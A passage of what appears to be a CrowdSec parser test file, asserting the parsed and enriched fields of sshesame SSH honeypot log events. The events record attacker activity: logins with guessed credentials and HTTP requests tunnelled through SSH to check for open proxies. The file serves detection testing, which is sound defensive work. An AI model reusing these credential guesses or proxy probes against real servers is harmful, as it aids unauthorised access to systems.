text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Parsed["timestamp"] == "2022/05/06 06:40:52" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Parsed["message"] == "2022/05/06 06:40:52 [45.82.65.44:42736] [channel 26] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Meta["input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Meta["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Meta["timestamp"] == "2022-05-06T06:40:52Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][15].Evt.Enriched["MarshaledTime"] == "2022-05-06T06:40:52Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Parsed["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Parsed["sshesame_input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Parsed["timestamp"] == "2022/05/06 06:40:52" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Parsed["message"] == "2022/05/06 06:40:52 [45.82.65.44:42736] [channel 26] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Meta["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Meta["timestamp"] == "2022-05-06T06:40:52Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Meta["input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][16].Evt.Enriched["MarshaledTime"] == "2022-05-06T06:40:52Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Parsed["source_ip"] == "111.70.9.198" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Parsed["sshesame_password"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Parsed["sshesame_user"] == "default" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Parsed["timestamp"] == "2022/05/06 06:41:29" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Parsed["message"] == "2022/05/06 06:41:29 [111.70.9.198:39673] authentication for user \"default\" with password \"1\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Meta["username"] == "default" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Meta["source_ip"] == "111.70.9.198" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Meta["target_user"] == "default" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Meta["timestamp"] == "2022-05-06T06:41:29Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][17].Evt.Enriched["MarshaledTime"] == "2022-05-06T06:41:29Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Parsed["message"] == "2022/05/06 06:43:10 [195.3.147.60:38745] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Parsed["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Parsed["timestamp"] == "2022/05/06 06:43:10" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Meta["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Meta["timestamp"] == "2022-05-06T06:43:10Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][18].Evt.Enriched["MarshaledTime"] == "2022-05-06T06:43:10Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Parsed["message"] == "2022/05/06 06:43:10 [195.3.147.60:38745] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Parsed["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Parsed["timestamp"] == "2022/05/06 06:43:10" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Meta["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Meta["timestamp"] == "2022-05-06T06:43:10Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][19].Evt.Enriched["MarshaledTime"] == "2022-05-06T06:43:10Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Parsed["message"] == "2022/05/06 07:05:23 [190.189.12.92:60614] authentication for user \"arjun\" with password \"arjun123\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Parsed["source_ip"] == "190.189.12.92" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Parsed["sshesame_password"] == "arjun123" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Parsed["sshesame_user"] == "arjun" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Parsed["timestamp"] == "2022/05/06 07:05:23" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Meta["target_user"] == "arjun" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Meta["timestamp"] == "2022-05-06T07:05:23Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Meta["username"] == "arjun" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Meta["source_ip"] == "190.189.12.92" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][20].Evt.Enriched["MarshaledTime"] == "2022-05-06T07:05:23Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Parsed["timestamp"] == "2022/05/06 07:05:25" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Parsed["message"] == "2022/05/06 07:05:25 [190.189.12.92:32868] authentication for user \"nproc\" with password \"nproc\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Parsed["source_ip"] == "190.189.12.92" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Parsed["sshesame_password"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Parsed["sshesame_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Meta["target_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Meta["timestamp"] == "2022-05-06T07:05:25Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Meta["username"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Meta["source_ip"] == "190.189.12.92" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Enriched["MarshaledTime"] == "2022-05-06T07:05:25Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Evt.Parsed["message"] == "2022/05/06 07:45:57 [190.2.139.67:58629] [channel 111] input: \"GET /?requestid=97339 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Evt.Parsed["sshesame_input"] == "GET /?requestid=97339 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Evt.Parsed["timestamp"] == "2022/05/06 07:45:57" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Evt.Meta["timestamp"] == "2022-05-06T07:45:57Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Evt.Meta["input"] == "GET /?requestid=97339 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][22].Evt.Enriched["MarshaledTime"] == "2022-05-06T07:45:57Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Evt.Parsed["sshesame_input"] == "GET /?requestid=32137 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Evt.Parsed["timestamp"] == "2022/05/06 07:51:27" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Evt.Parsed["message"] == "2022/05/06 07:51:27 [190.2.139.67:7117] [channel 104] input: \"GET /?requestid=32137 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Evt.Meta["timestamp"] == "2022-05-06T07:51:27Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Evt.Meta["input"] == "GET /?requestid=32137 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][23].Evt.Enriched["MarshaledTime"] == "2022-05-06T07:51:27Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Evt.Parsed["message"] == "2022/05/06 07:54:02 [190.2.139.67:58629] [channel 113] input: \"GET /?requestid=85851 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Evt.Parsed["sshesame_input"] == "GET /?requestid=85851 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Evt.Parsed["timestamp"] == "2022/05/06 07:54:02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Evt.Meta["input"] == "GET /?requestid=85851 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Evt.Meta["timestamp"] == "2022-05-06T07:54:02Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][24].Evt.Enriched["MarshaledTime"] == "2022-05-06T07:54:02Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Evt.Parsed["message"] == "2022/05/06 08:01:27 [190.2.139.67:58629] [channel 115] input: \"GET /?requestid=36986 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Evt.Parsed["sshesame_input"] == "GET /?requestid=36986 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Evt.Parsed["timestamp"] == "2022/05/06 08:01:27" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Evt.Meta["timestamp"] == "2022-05-06T08:01:27Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Evt.Meta["input"] == "GET /?requestid=36986 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][25].Evt.Enriched["MarshaledTime"] == "2022-05-06T08:01:27Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Evt.Parsed["message"] == "2022/05/06 08:06:24 [190.2.139.67:7117] [channel 106] input: \"GET /?requestid=61985 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Evt.Parsed["sshesame_input"] == "GET /?requestid=61985 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Evt.Parsed["timestamp"] == "2022/05/06 08:06:24" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Evt.Meta["input"] == "GET /?requestid=61985 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Evt.Meta["timestamp"] == "2022-05-06T08:06:24Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][26].Evt.Enriched["MarshaledTime"] == "2022-05-06T08:06:24Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Evt.Parsed["timestamp"] == "2022/05/06 08:14:21" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Evt.Parsed["message"] == "2022/05/06 08:14:21 [190.2.139.67:58629] [channel 132] input: \"GET /?requestid=6514 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Evt.Parsed["sshesame_input"] == "GET /?requestid=6514 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Evt.Meta["input"] == "GET /?requestid=6514 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Evt.Meta["timestamp"] == "2022-05-06T08:14:21Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][27].Evt.Enriched["MarshaledTime"] == "2022-05-06T08:14:21Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Evt.Parsed["sshesame_input"] == "GET /?requestid=12818 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Evt.Parsed["timestamp"] == "2022/05/06 08:36:14" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Evt.Parsed["message"] == "2022/05/06 08:36:14 [190.2.139.67:7117] [channel 108] input: \"GET /?requestid=12818 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Evt.Meta["input"] == "GET /?requestid=12818 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Evt.Meta["timestamp"] == "2022-05-06T08:36:14Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][28].Evt.Enriched["MarshaledTime"] == "2022-05-06T08:36:14Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Evt.Parsed["sshesame_input"] == "GET /?requestid=65533 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Evt.Parsed["timestamp"] == "2022/05/06 08:57:43" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Evt.Parsed["message"] == "2022/05/06 08:57:43 [190.2.139.67:58629] [channel 135] input: \"GET /?requestid=65533 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Evt.Meta["timestamp"] == "2022-05-06T08:57:43Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][29].Evt.Meta["input"] == "GET /?requestid=65533 HTTP/1.1\\r\\nHost: 